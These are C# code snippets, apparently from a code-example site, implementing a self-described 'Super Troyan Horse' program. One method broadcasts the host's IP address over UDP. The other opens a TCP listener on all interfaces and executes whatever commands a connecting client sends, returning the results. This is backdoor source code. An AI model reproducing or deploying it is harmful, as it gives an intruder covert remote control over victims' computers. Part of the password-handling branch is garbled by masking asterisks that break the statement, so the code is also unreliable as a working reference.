static void sendBroadcastAnswer()
        {
            Socket     sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
            IPEndPoint iep1 = new IPEndPoint(IPAddress.Broadcast, 9050);
            IPEndPoint iep2 = new IPEndPoint(Internet.GetMaxBroadcast(), BroadcastSendPort);

            byte[] data = Encoding.ASCII.GetBytes(Internet.GetLocalIP().ToString());

            sock.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Broadcast, 1);
            try { sock.SendTo(data, iep1); }
            catch { }
            try { sock.SendTo(data, iep2); }
            catch { }
            sock.Close();
        }
示例#2
0
        public static void Start()
        {
            try
            {
                TcpListener myList = new TcpListener(IPAddress.Any, Program.port);

                Console.WriteLine("The server is running at ip {0}:{1} . . .", Internet.GetLocalIP(), Program.port);

                while (Program.isProgramAlive)
                {
                    ASCIIEncoding asen = new ASCIIEncoding();
                    myList.Start();
                    s        = myList.AcceptSocket();
                    IsOpened = true;
                    Console.WriteLine("\n============ socket opened ==================\n");
                    string input = "";
                    s.Send(asen.GetBytes("<S>: " + "Welcome to the Super Troyan Horse program.\n" +
                                         "<S>: " + "My name is " + Program.username + ".\n" +
                                         "<S>: " + "You can now start sending me commands.\n"));
                    byte[] b = new byte[128];

                    while (input != "quit" && input != "exit")
                    {
                        input = "";
                        try
                        {
                            int k = s.Receive(b);
                            for (int i = 0; i < k; i++)
                            {
                                input += (Convert.ToChar(b[i]));
                            }
                            input = input.Replace("\n", "");
                            if (input != "quit" && input != "exit" && input != "stop")
                            {
                                string answer = commander.reactonCommand(input).Replace("\n", "\n<S>: ");
                                s.Send(asen.GetBytes("<S>: " + answer + "\n"));
                            }
                            else if (input == "stop")
                            {
                                const string password = "******";
                                if (s == null)
                                {
                                    throw new NullReferenceException();
                                }
                                s.Send(asen.GetBytes("<S>: enter password: "******"\n", "");
                                if (input == password)
                                {
                                    s.Close();
                                    myList.Stop();
                                    Program.isProgramAlive = false;
                                    System.Windows.Forms.Application.Exit();
                                    break;
                                }
                                else
                                {
                                    s.Send(asen.GetBytes("<S>: wrong password\n"));
                                }
                            }
                            else
                            {
                                s.Close();
                                break;
                            }
                        }
                        catch (SocketException)
                        {
                            s.Close();
                            break;
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine(ex.Source + "\n" + ex.ToString());
                        }
                    }

                    /* clean up */
                    s.Close();
                    myList.Stop();
                    Console.WriteLine("\n============ socket closed ==================\n");
                    IsOpened = false;
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("Error..... " + e.StackTrace);
            }
        }